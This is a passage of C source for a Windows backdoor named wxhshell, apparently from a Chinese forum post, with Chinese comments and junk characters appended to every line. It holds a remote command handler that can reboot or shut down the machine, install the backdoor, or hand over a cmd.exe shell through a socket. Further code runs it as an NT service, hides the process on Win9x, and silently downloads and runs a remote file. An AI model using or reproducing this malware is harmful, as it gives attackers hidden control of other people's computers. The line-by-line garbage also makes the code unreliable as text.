  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yW=::=  
  } nfbR P t  
  else { :%=Xm   
@Md/Q~>  
    switch(cmd[0]) { yLvDMPj  
  <`=j^LU  
  // 帮助 D0-3eV -  
  case '?': { JX;<F~{.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0*3R=7_},o  
    break; gh]cXuph  
  } Cv.C;H  
  // 安装 lfow1WRF  
  case 'i': { *w`sM%]Rq  
    if(Install()) vH@ds k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*& ^v  
    else vm8eZG|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ?(1 y  
    break; -l*|M(N\  
    } &jJL"gq"  
  // 卸载 \;B iq`  
  case 'r': { y'q$ |  
    if(Uninstall()) AO4U}?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1v2 7;Q<+Q  
    else k(nW#*N_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Y$4 H,8L  
    break; l_d5oAh   
    } _ ]ip ajT  
  // 显示 wxhshell 所在路径  +SU8 +w  
  case 'p': { 7&)bJ@1U  
    char svExeFile[MAX_PATH]; eu-*?]&Di  
    strcpy(svExeFile,"\n\r"); [q[Y~1o/&H  
      strcat(svExeFile,ExeFile); P/eeC"  
        send(wsh,svExeFile,strlen(svExeFile),0); BL }\D;+t  
    break; IFL*kB   
    } &DX! f  
  // 重启 EI%89i`3^  
  case 'b': { A}9`S6@@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )*J^K?!S  
    if(Boot(REBOOT)) -uG +BraI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }o(-=lF  
    else { N:/D+L  
    closesocket(wsh); 4xje$/_d  
    ExitThread(0); oLeq!K}re  
    } -G rE} L  
    break; B~ GbF*j  
    } Wqw1J=]  
  // 关机 %ntRG !  
  case 'd': { /$?}Y L,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Xl#ggub?  
    if(Boot(SHUTDOWN)) A?P_DA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r),kDia  
    else { IOmfF[  
    closesocket(wsh); .t!x<B  
    ExitThread(0); +I|vzz`ZVr  
    } 2HA:"v8  
    break; R&k<AZ  
    } \r+ a GB  
  // 获取shell [RhO$c$[\  
  case 's': { ea 'D td  
    CmdShell(wsh); ^}o2  
    closesocket(wsh); ",; H`V  
    ExitThread(0); ~B?y{  
    break; 8cIKvHx  
  } Ve; n}mJ?  
  // 退出 / zPO  
  case 'x': { @qAS*3j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *^ZV8c}  
    CloseIt(wsh); m-#2n? z-  
    break; V U3upy<  
    } `Ggbi4),  
  // 离开 JK5gQ3C[  
  case 'q': { nDxz~8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !_)[/q"  
    closesocket(wsh); VpDbHAg  
    WSACleanup(); BW4J>{  
    exit(1); htF] W|z  
    break; T(Eugl"  
        } gjDHo$  
  } HIZe0%WPw  
  } 2^ nxoye  
/y}xX  
  // 提示信息 1oGw4kD^x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OQJ6e:BGt  
} %IWPM"  
  } /*mI<[xb  
^<2p~h0 \  
  return; 8&slu{M- t  
} + cN8Y}V  
X l5 A 'h  
// shell模块句柄 1mG-}  
int CmdShell(SOCKET sock) 2P0*NQ   
{ F={a;Dvrn  
STARTUPINFO si; @\#td5'  
ZeroMemory(&si,sizeof(si)); /PIcqg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zK@@p+n_#.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eng'X-x  
PROCESS_INFORMATION ProcessInfo; +23x ev  
char cmdline[]="cmd"; U>N1Od4vTO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N<}5A%  
  return 0; wb l&  
} t%=tik2|7  
/gP+N2o+}  
// 自身启动模式 S<Xf>-8w  
int StartFromService(void) 4^:=xL  
{ "4{r6[dn  
typedef struct g}c~:p  
{ aPL+=58r  
  DWORD ExitStatus; 4.t-i5  
  DWORD PebBaseAddress; ]c'A%:f<  
  DWORD AffinityMask; 'D1xh~  
  DWORD BasePriority; >z@0.pN]7  
  ULONG UniqueProcessId; Y}wyw8g/  
  ULONG InheritedFromUniqueProcessId; =UWI9M*sz  
}   PROCESS_BASIC_INFORMATION; Cw&KVw*  
F:S}w   
PROCNTQSIP NtQueryInformationProcess; Z7Hbj!d/Sz  
6Z"X}L,*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }N52$L0[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^iV)MTT  
A.w.rVDD  
  HANDLE             hProcess; qIT@g"%}t  
  PROCESS_BASIC_INFORMATION pbi; 'm$L Ij?@  
)9]PMA?u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p4Z(^+Aa  
  if(NULL == hInst ) return 0; l.M0`Cn-%  
Iu=(qU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f3y=Wxk[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sRb9`u =)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }Zp,+U*"  
|2A:eI8 ^  
  if (!NtQueryInformationProcess) return 0; SOIN']L|V[  
do'GlU oMC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'LDQgC*%  
  if(!hProcess) return 0; \s\?l(ooq"  
wUJcmM;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P]C<U aW'!  
k+*u/neh  
  CloseHandle(hProcess); x]j W<A  
4_ML],.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); GTHt'[t@;  
if(hProcess==NULL) return 0; R=\IEqqsi  
~a2}(]  
HMODULE hMod; 5[0?g@aO  
char procName[255]; f _:A0  
unsigned long cbNeeded; j1<Yg,_.p  
/PKNLK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #KvlYZ+1  
CWKm(@"5  
  CloseHandle(hProcess); (/$^uWj  
{P-):  
if(strstr(procName,"services")) return 1; // 以服务启动 1|=A*T-<M  
Dw"\/p:-3  
  return 0; // 注册表启动 7zj{wp!  
} nO-#Q=H,  
'Pbr v  
// 主模块 rPm x  
int StartWxhshell(LPSTR lpCmdLine) yB!dp;gM{  
{ |I=T @1_D  
  SOCKET wsl; +kD R.E:  
BOOL val=TRUE; `WS&rmq&'  
  int port=0; v"0J&7!J  
  struct sockaddr_in door; DHRlWQox  
-Lg Ei3m  
  if(wscfg.ws_autoins) Install(); %a7$QF]  
cWm$;`Q#\  
port=atoi(lpCmdLine); # f\rt   
FP>2C9:d  
if(port<=0) port=wscfg.ws_port; %z$#6?OK^  
!()Qm,1u  
  WSADATA data; 5mR 1@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J .<F"r>  
|V(0GB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yt2PU_),  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6L~n.5B~o  
  door.sin_family = AF_INET; E?@m?@*/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CvdN"k  
  door.sin_port = htons(port); : rVnc =k  
cz$2R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { T u'{&  
closesocket(wsl); :23P!^Y  
return 1; B-mowmJ3dg  
} }-2|XD%]  
|':{lH6+1  
  if(listen(wsl,2) == INVALID_SOCKET) { _"{Xi2@H  
closesocket(wsl); HVAYPerH  
return 1; {4PwLCy  
} u%!@(eKM-  
  Wxhshell(wsl); 'c~4+o4co  
  WSACleanup(); & 5R&k0i r  
+cRn%ioVi  
return 0; [N'h%1]\  
t#yuOUg  
} 3(UVg!t  
%}T6]S)%u  
// 以NT服务方式启动 H;"4 C8K7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !`r$"}g  
{ ajpX L  
DWORD   status = 0; 8?C5L8)  
  DWORD   specificError = 0xfffffff; 47B&s   
5-A\9UC*@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _VXN#@y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "gwSJ~:ds  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *K; ~!P  
  serviceStatus.dwWin32ExitCode     = 0; !Z6{9sKR=]  
  serviceStatus.dwServiceSpecificExitCode = 0; o !7va"  
  serviceStatus.dwCheckPoint       = 0; <oeIcN7d  
  serviceStatus.dwWaitHint       = 0; v-Sd*( 6  
6w77YTJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *z2s$EZ  
  if (hServiceStatusHandle==0) return; *lb<$E]="!  
Q59W#e)  
status = GetLastError(); K,UMqAmk  
  if (status!=NO_ERROR) F:ELPs4"  
{ &c #N)U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :E?V.  
    serviceStatus.dwCheckPoint       = 0; #A.@i+Zv  
    serviceStatus.dwWaitHint       = 0; 54qFfN8O  
    serviceStatus.dwWin32ExitCode     = status; fc@A0Hf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 13 wE"-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 048kPXm`  
    return; DV{=n C  
  } Hx:;@_g q  
hv+zGID7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;wD)hNLAvR  
  serviceStatus.dwCheckPoint       = 0; %XTI-B/K  
  serviceStatus.dwWaitHint       = 0; x)VJFuqy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =\d?'dII:  
} Xm&L B X  
+/\6=).\  
// 处理NT服务事件,比如:启动、停止 B erwI 7!=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K|@G t%Y  
{  2Rz  
switch(fdwControl) QSj]ZA  
{ L%5%T;0'~  
case SERVICE_CONTROL_STOP: \j.:3X r  
  serviceStatus.dwWin32ExitCode = 0; @ .KGfNu  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FPTK`Gd0  
  serviceStatus.dwCheckPoint   = 0; h7@6T+#WoT  
  serviceStatus.dwWaitHint     = 0; g `4<9RMun  
  { mV m Gg,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xLn%hxm?,  
  } H[|~/0?K  
  return; d!{r  v  
case SERVICE_CONTROL_PAUSE: q'11^V!0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; We z 5N  
  break; Q=:|R3U/  
case SERVICE_CONTROL_CONTINUE: BORA(,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U ;I9 bK8  
  break; Aa]"   
case SERVICE_CONTROL_INTERROGATE: t:c.LFrF  
  break; -.3w^D"l  
}; F5#YOck&,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rQ9'bCSr%  
} P>6{&(  
k_R"CKd  
// 标准应用程序主函数 `,0}ZzaV&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tI{_y  
{ y!%CffF2  
?hM64jI|  
// 获取操作系统版本 /Q )\+  
OsIsNt=GetOsVer(); j~QwV='S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qei" '~1a  
{ "E\Jcjl\  
  // 从命令行安装 R GX=)  
  if(strpbrk(lpCmdLine,"iI")) Install(); "*H`HRi4T  
h7I{ 4  
  // 下载执行文件 P }uOJVQ_  
if(wscfg.ws_downexe) { $wU\Js`/S]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u2[w#   
  WinExec(wscfg.ws_filenam,SW_HIDE); A(0lM`X  
} 4`R(?  
TB^$1C  
if(!OsIsNt) { w*MpX U<  
// 如果时win9x,隐藏进程并且设置为注册表启动 wdZ/Xp9]  
HideProc(); #89!'W  
StartWxhshell(lpCmdLine); =rK+eG#,  
} 9k=3u;$v  
else v9UD%@tZ  
  if(StartFromService()) :j`s r  
  // 以服务方式启动 ~v"L!=~G;a  
  StartServiceCtrlDispatcher(DispatchTable); m4yL@d,Yw  
else o? $.fhD   
  // 普通方式启动 6`-jPR  
  StartWxhshell(lpCmdLine); JMM W  
[fIg{Q  
return 0; c0fo7|  
}
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只看该作者 1 发表于: 2006-10-10
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